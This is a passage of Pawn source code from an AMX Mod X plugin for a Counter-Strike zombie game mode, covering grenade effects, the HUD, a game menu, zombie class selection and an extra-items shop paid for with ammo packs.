					else ExecuteHamB( Ham_Killed, iPlayers[ i ], iOwner, 2 );
					
					if(g_iPlayerType[iPlayers[i]] & 1 && g_iPlayerType[iPlayers[i]] & 2 )
						fDamage *= 0.75;

					client_print_color(iOwner, print_team_grey, "^4[Zombie Outstanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[ iPlayers[ i ] ], fDamage );
				}
			}
		}
	}
}

public Grenade_Thrown(iOwner, iGrenade, iGrenadeType)
{
	if (g_bZombie[iOwner])
	{
		send_beam_follow(iGrenade, 0, 250, 0, 200);
		set_pev(iGrenade, pev_targetname, 1);
		return 0;
	}
	switch (iGrenadeType)
	{
		case 4:
		{
			if (!g_bKilling[iOwner])
			{
				send_beam_follow(iGrenade, 127, 0, 255, 200);
				set_pev(iGrenade, pev_targetname, 2);
			}
			else
			{
				send_beam_follow(iGrenade, 127, 0, 255, 200);
				set_pev(iGrenade, pev_targetname, 5);
				g_bKilling[iOwner] = 0;
			}
		}
		case 9:
		{
			send_beam_follow(iGrenade, 255, 0, 0, 200);
			set_pev(iGrenade, pev_targetname, 4);
		}
		case 25:
		{
			send_beam_follow(iGrenade, 0, 100, 200, 200);
			set_pev(iGrenade, pev_targetname, 3);
		}
		default:
		{
		}
	}
	return 0;
}

public TaskCheckFlash(iPlayer)
{
	if (!g_bConnected[iPlayer] || g_bAlive[iPlayer])
	{
		return 0;
	}
	g_bFlashEnabled[iPlayer] = 1;
	g_bFlash[iPlayer] = 1;
	remove_task(iPlayer + 350, 0);
	set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
	return 0;
}

InfectionEffects ( id )
{
	static Origin [3]; get_user_origin ( id, Origin );
	
	if ( !g_bFrozen [id] )
	{	
		message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenFade"), _, id)
		write_short(4096)
		write_short(2048)
		write_short(0)
		write_byte(255)
		write_byte(0)
		write_byte(0)
		write_byte(255)
		message_end()	
	}
	
	message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("Damage"), _, id)
	write_byte(0)
	write_byte(0)
	write_long(DMG_NERVEGAS)
	write_coord(0)
	write_coord(0)
	write_coord(0)
	message_end()	
	
	message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("ScreenShake"), _, id)
	write_short(150000)
	write_short(25000)
	write_short(135000)
	message_end()	
	
	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_IMPLOSION );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin[2] );
	write_byte ( 150 );
	write_byte ( 32 );
	write_byte ( 3 );
	message_end (  );
	 
	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_PARTICLEBURST );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin [2] );
	write_short ( 50 );
	write_byte ( 70 );
	write_byte ( 3 );
	message_end (  );
	
	message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
	write_byte ( TE_DLIGHT );
	write_coord ( Origin [0] );
	write_coord ( Origin [1] );
	write_coord ( Origin [2] );
	write_byte ( 20 );
	write_byte ( 240 );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 2 );
	write_byte ( 0 );
	message_end (  );
}

AddCommas ( iNum , szOutput[] , iLen )
{
    new szTmp [17] , iOutputPos , iNumPos , iNumLen;

    iNumLen = num_to_str( iNum , szTmp , charsmax( szTmp ) );
    
    if ( iNumLen <= 3 )
    {
        iOutputPos += copy ( szOutput [iOutputPos] , iLen , szTmp );
    }
    else
    {
        while ( ( iNumPos < iNumLen ) && ( iOutputPos < iLen ) ) 
        {
            szOutput[ iOutputPos++ ] = szTmp[ iNumPos++ ];
            
            if ( ( iNumLen - iNumPos ) && !( ( iNumLen - iNumPos ) % 3 ) ) 

            szOutput[ iOutputPos++ ] = ',';
        }
            
        szOutput[ iOutputPos ] = EOS;
    }
    return iOutputPos;
}

do_screen_fade( id, Float:fadeTime, Float:holdTime, red, green, blue, alpha, type = 0x0000 )
{
	new fade, hold;
	fade = floatround( fadeTime * 4096.0);
	hold = floatround( holdTime * 4096.0);
	message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenFade" ), _, id );
	write_short( fade );
	write_short( hold );
	write_short( type );
	write_byte( red );
	write_byte( green );
	write_byte( blue );
	write_byte( alpha );
	message_end( );

}

public MessageHealth(iMessage, iDestination, iEntity)
{
	static iHealth;
	iHealth = get_msg_arg_int(1);
	if (iHealth > 255)
	{
		if (!(iHealth % 256))
		{
			set_health(iEntity, get_health(iEntity) + 1);
		}
		set_msg_arg_int(1, get_msg_argtype(1), 255);
	}
	return 0;
}

public TaskRemoveMadness(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		g_bNoDamage[iPlayer] = 0;
		if (!g_iPlayerType[iPlayer] & 1)
		{
			remove_glow(iPlayer);
		}
		set_take_damage(iPlayer, 2);
	}
	return 0;
}

public TaskPrintPassword(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type a password for your account!");
	}
	return 0;
}

public TaskWelcome()
{
	client_print_color(0, print_team_grey, "^1****^4 Zombie Outstanding^1 by^3 Hattrick^1 ||^4 Zm.CsDevils.Com^1 ****");
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 Press^4 M^1 to open the game menu!");
	return 0;
}

public TaskAmbience()
{
	if (g_iRoundType & 4)
	{
		client_cmd(0, "spk ZombieOutstanding/ambience_survivor");
	}
	else
	{
		client_cmd(0, "spk ZombieOutstanding/ambience_normal");
	}
	return 0;
}

public TaskZombie()
{
	if ((g_iAliveCount = GetAliveCount()))
	{
		g_bRoundStart = false;
		if (g_iRoundsCount > 3)
		{
			StartSwarmMode(false);
		}
		else
		{
			StartNormalMode(0);
		}
	}
	else
	{
		set_task(6.0, "TaskZombie", 550, "", 0, "", 0);
	}
	return 0;
}

public TaskHud(iTask)
{
	static cPoints[15];
	static cPacks[15];
	static cHealth[15];
	static iPlayer;
	iPlayer = iTask + -300;
	if (!g_bAlive[iPlayer])
	{
		iPlayer = iuser2(iPlayer);
		if (!g_bAlive[iPlayer])
		{
			return 0;
		}
	}
	if (iTask + -300 != iPlayer)
	{
		AddCommas(get_health(iPlayer), cHealth, 14);
		AddCommas(g_iPacks[iPlayer], cPacks, 14);
		AddCommas(g_iPoints[iPlayer], cPoints, 14);
		set_hudmessage(10, 180, 150, -1.00, 0.79, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "Spectating %s%s^n%s, Health: %s  Armor: %d  Packs: %s  Points: %s^nFrom: %s, %s",  g_bVip[iPlayer] ? "(Gold Member ®)" : "", g_cName[iPlayer], g_cClass[iPlayer], cHealth, get_armor(iPlayer), cPacks, cPoints, Data[iPlayer][1], Data[iPlayer][4]);
	}
	else
	{
		AddCommas(get_health(iTask + -300), cHealth, 14);
		AddCommas(g_iPacks[iTask + -300], cPacks, 14);
		AddCommas(g_iPoints[iTask + -300], cPoints, 14);
		new color3;
		if (g_bZombie[iTask + -300])
		{
			color3 = 60;
		}
		else
		{
			color3 = 180;
		}
		new color4;
		if (g_bZombie[iTask + -300])
		{
			color4 = 135;
		}
		else
		{
			color4 = 120;
		}
		new color5;
		if (g_bZombie[iTask + -300])
		{
			color5 = 180;
		}
		else
		{
			color5 = 0;
		}
		set_hudmessage(color5, color4, color3, 0.02, 0.90, 0, 6.00, 1.10, 0.00, 0.00, -1);
		ShowSyncHudMsg(iTask + -300, g_iDownMessageSync, "%s, Health: %s  Armor: %d  Packs: %s  Points: %s", g_cClass[iTask + -300], cHealth, get_armor(iTask + -300), cPacks, cPoints);
	}
	return 0;
}

public TaskFlash(iTask)
{
	flash(iTask + -350);
	return 0;
}

public _GameMenu(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
				{
					static cNumber[3];
					static cLine[128];
					static i;
					g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems", 0);
					i = 0;
					while (i < 25)
					{
						if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
						{
						}
						else
						{
							if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
							{
								formatex(cLine, 128, "%s %s", g_cExtraItems[i], g_cExtraItemsPrices[i]);
								num_to_str(i, cNumber, 3);
								menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
							}
						}
						i += 1;
					}
					menu_display(iPlayer, g_iMenuExtraItems, 0);
				}
				else
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Extra items are unavailable right now...");
				}
			}
			case 1:
			{
				menu_display(iPlayer, g_iMenuZombieClasses, 0);
			}
			case 2:
			{
				static cNumber[3];
				static cLine[128];
				static i;
				g_iShopMenu = menu_create("Shop Menu", "_ShopMenu", 0);
				i = 0;
				while (i < 8)
				{
					if (g_iShopItemsTeams[i] == 2 && g_bZombie[iPlayer])
					{
					}
					else
					{
						formatex(cLine, 128, "%s %s", g_cShopItems[i], g_cShopItemsPrices[i]);
						num_to_str(i, cNumber, 3);
						menu_additem(g_iShopMenu, cLine, cNumber, 0, -1);
					}
					i += 1;
				}
				menu_display(iPlayer, g_iShopMenu, 0);
			}
			case 3:
			{
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are dead or your are not stuck...");
			}
			case 4:
			{
				static Float:fGameTime;
				static cPlayer[3];
				num_to_str(iPlayer, cPlayer, 3);
				fGameTime = get_gametime();
				if (!g_bEnded && g_bRanked[iPlayer] && floatsub(fGameTime, g_fLastRankQuery) >= 3.0)
				{
					formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
					SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", g_cQuery, cPlayer, 3);
					g_fLastRankQuery = fGameTime;
				}
			}
			case 5:
			{
				show_motd(iPlayer, "http://csaddicted.com/rank/index.php", "Player Rankings");
			}
			default:
			{
			}
		}
	}
	return 0;
}

public _ZombieClasses(iPlayer, iMenu, iItem)
{
	if (iItem != -3 && g_bConnected[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[15];
        menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		g_iZombieNextClass[iPlayer] = iChoice;
		AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
		client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You will be^4 %s^1 after the next infection!", g_cZombieClasses[iChoice]);
        client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Health:^4 %s^1 | Speed:^4 %0.0f^1 | Gravity:^4 %0.0f^1 | Knockback:^4 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], floatmul(100.0, g_fZombieGravities[iChoice]), floatmul(100.0, g_fZombieKnockbacks[iChoice]), "%");
	}
	return 0;
}

public _ExtraItems(iPlayer, iMenu, iItem)
{
	if (g_fLastQuery < 99999.0 && g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer])
	{
		static iChoice;
		static iDummy;
		static cBuffer[3];
		menu_item_getinfo(iMenu, iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
		iChoice = str_to_num(cBuffer);
		switch (iChoice)
		{
			case 0:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 128 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
					return 0;
				}
				MakeHuman(iPlayer, false, false);
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
			}
			case 1:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					give_item(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Fire Grenade!");
				}
			}
			case 2:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 25, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					give_item(iPlayer, "weapon_flashbang");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Freeze Grenade!");
				}
			}
			case 3:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 9, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					give_item(iPlayer, "weapon_smokegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Grenade!");
				}
			}
			case 4:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					give_item(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
				}
			}
			case 5:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetZombies())
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 4, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one! [ Use your^3 Fire Grenade^1 before ]");
				}
				else
				{
					g_bKilling[iPlayer] = true;
					give_item(iPlayer, "weapon_hegrenade");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Killing Grenade!", g_cName[iPlayer]);
					client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought a^4 Killing Grenade", g_cName[iPlayer]);
				}
			}
			case 6:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 20, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					drop_weapons(iPlayer, 1)
					give_item(iPlayer, "weapon_m249");
					cs_set_user_bpammo(iPlayer, 20, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
				}
			}
			case 7:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 24, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					drop_weapons(iPlayer, 1)
					give_item(iPlayer, "weapon_g3sg1");
					cs_set_user_bpammo(iPlayer, 24, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
				}
			}
			case 8:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 13, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					drop_weapons(iPlayer, 1)
					give_item(iPlayer, "weapon_sg550");
					cs_set_user_bpammo(iPlayer, 13, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
				}
			}
			case 9:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (user_has_weapon(iPlayer, 18, -1))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					drop_weapons(iPlayer, 1)
					give_item(iPlayer, "weapon_awp");
					cs_set_user_bpammo(iPlayer, 18, 9999);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
				}
			}
			case 10:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bFlash[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bFlashEnabled[iPlayer] = true;
					g_bFlash[iPlayer] = true;
					remove_task(iPlayer + 350, 0);
					set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
				}
			}
			case 11:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bNoDamage[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bNoDamage[iPlayer] = true;
					client_cmd(iPlayer, "spk ZombieOutstanding/zombie_madness");
					fm_set_rendering ( iPlayer, kRenderFxGlowShell, 250, 0 , 0, kRenderNormal, 62  );
					set_task(4.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Zombie Madness", g_cName[iPlayer]);
				}
			}
			case 12:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (get_user_jetpack(iPlayer))
				{
					user_drop_jetpack(iPlayer, 1);
				}
				set_user_jetpack(iPlayer, 1);
				set_user_fuel(iPlayer, 250.0);
				client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 CTR+SPACE^1 to fly!");
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 RIGHT CLICK^1 to shoot!");
				g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
				set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
				ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
			}
			case 13:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (g_bUnlimitedClip[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					g_bUnlimitedClip[iPlayer] = 1;
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
				}
			}
			case 14:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (120 < get_user_armor(iPlayer))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					set_user_armor(iPlayer, get_user_armor(iPlayer) + 100);
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
				}
			}
			case 15:
			{
				if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
					return 0;
				}
				if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
					return 0;
				}
				if (120 < get_user_armor(iPlayer))
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
				}
				else
				{
					set_user_armor(iPlayer, get_user_armor(iPlayer) + 200);
					client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
					g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
					set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
					ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
				}
			}
